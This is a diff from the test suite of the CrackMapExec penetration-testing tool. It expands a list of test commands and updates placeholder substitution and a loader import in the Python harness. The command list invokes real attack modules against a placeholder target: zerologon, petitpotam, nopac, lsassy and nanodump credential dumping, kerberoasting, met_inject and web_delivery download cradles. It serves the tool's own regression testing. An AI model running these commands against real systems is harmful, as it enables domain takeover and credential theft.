|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
|
||||||
|
# spider_plus takes a while to run, so it is commented out during normal testing
|
||||||
|
# crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M test_connection -o HOST=localhost
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=enable
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wdigest -o ACTION=disable
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M webdav -o MSG="Message: {}"
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M install_elevated --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ioxidresolver --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_discover --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M keepass_trigger --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M lsassy --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M masky --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M met_inject --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ms17-010 --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M msol --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nanodump --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M nopac --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntdsutil --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M ntlmv1 --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M petitpotam --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M procdump --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M rdcman --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M reg-query --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M runasppl --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M scuffy --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M shadowcoerce --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M slinky --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spider_plus --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M spooler --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M teams_localdb --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M uac --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M veeam --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M wifi --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M winscp --options
|
||||||
|
crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M zerologon --options
|
||||||
crackmapexec smb TARGET -u '' -p '' -M zerologon
|
crackmapexec smb TARGET -u '' -p '' -M zerologon
|
||||||
crackmapexec smb TARGET -u '' -p '' -M petitpotam
|
crackmapexec smb TARGET -u '' -p '' -M petitpotam
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --users
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --users
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --groups
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --groups
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --get-sid
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --get-sid
|
||||||
crackmapexec ldap TARGET -u USER -p '' --asreproast /tmp/output.txt
|
crackmapexec ldap TARGET -u USERNAME -p '' --asreproast /tmp/output.txt
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --kerberoasting /tmp/output2.txt
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --trusted-for-delegation
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --trusted-for-delegation
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --admin-count
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --admin-count
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS --gmsa
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --gmsa
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M laps
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M maq
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs --options
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-desc-users
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M adcs
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread --options
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-network
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-network -o ONLY_HOSTS=true
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users --options
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M get-network -o ALL=true
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network
|
||||||
crackmapexec ldap TARGET -u USER -p PASSWORD KERBEROS -M ldap-checker
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-network --options
|
||||||
crackmapexec winrm TARGET -u USER -p PASSWORD
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership --options
|
||||||
crackmapexec winrm TARGET -u USER -p PASSWORD -X whoami
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M groupmembership -o USER=USERNAME
|
||||||
crackmapexec winrm TARGET -u USER -p PASSWORD --laps
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M laps --options
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M ldap-checker --options
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M maq --options
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M subnets --options
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M user-desc --options
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami
|
||||||
|
crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M whoami --options
|
||||||
|
crackmapexec winrm TARGET -u USERNAME -p PASSWORD
|
||||||
|
crackmapexec winrm TARGET -u USERNAME -p PASSWORD -X whoami
|
||||||
|
crackmapexec winrm TARGET -u USERNAME -p PASSWORD --laps
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD
|
||||||
|
# crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M empire_exec
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M met_inject --options
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M mssql_priv
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M mssql_priv --options
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M nanodump
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M nanodump --options
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M test_connection --options
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M test_connection -o HOST=localhost
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M web_delivery --options
|
||||||
|
crackmapexec mssql TARGET -u USERNAME -p PASSWORD -M web_delivery -o URL=localhost/dl_cradle
|
||||||
|
|
|
@ -31,9 +31,11 @@ def generate_commands():
|
||||||
|
|
||||||
with open(commands_file) as file:
|
with open(commands_file) as file:
|
||||||
for line in file:
|
for line in file:
|
||||||
|
if line.startswith("#"):
|
||||||
|
continue
|
||||||
line = line.strip()
|
line = line.strip()
|
||||||
line = line.replace("TARGET", args.target) \
|
line = line.replace("TARGET", args.target) \
|
||||||
.replace("USER", f"\"{args.username}\"") \
|
.replace("USERNAME", f"\"{args.username}\"") \
|
||||||
.replace("PASSWORD", f"\"{args.password}\"") \
|
.replace("PASSWORD", f"\"{args.password}\"") \
|
||||||
.replace("KERBEROS", kerberos)
|
.replace("KERBEROS", kerberos)
|
||||||
lines.append(line)
|
lines.append(line)
|
||||||
|
|
|
@ -5,9 +5,10 @@ import os
|
||||||
import pytest
|
import pytest
|
||||||
from sqlalchemy import create_engine
|
from sqlalchemy import create_engine
|
||||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||||
|
|
||||||
from cme.cmedb import create_workspace, delete_workspace
|
from cme.cmedb import create_workspace, delete_workspace
|
||||||
from cme.first_run import first_run_setup
|
from cme.first_run import first_run_setup
|
||||||
from cme.loaders.protocol_loader import protocol_loader
|
from cme.loaders.protocolloader import ProtocolLoader
|
||||||
from cme.logger import setup_logger, CMEAdapter
|
from cme.logger import setup_logger, CMEAdapter
|
||||||
from cme.paths import WS_PATH
|
from cme.paths import WS_PATH
|
||||||
from sqlalchemy.dialects.sqlite import Insert
|
from sqlalchemy.dialects.sqlite import Insert
|
||||||
|
@ -31,7 +32,7 @@ def db_setup(db_engine):
|
||||||
setup_logger()
|
setup_logger()
|
||||||
logger = CMEAdapter()
|
logger = CMEAdapter()
|
||||||
first_run_setup(logger)
|
first_run_setup(logger)
|
||||||
p_loader = protocol_loader()
|
p_loader = ProtocolLoader()
|
||||||
protocols = p_loader.get_protocols()
|
protocols = p_loader.get_protocols()
|
||||||
create_workspace("test", p_loader, protocols)
|
create_workspace("test", p_loader, protocols)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue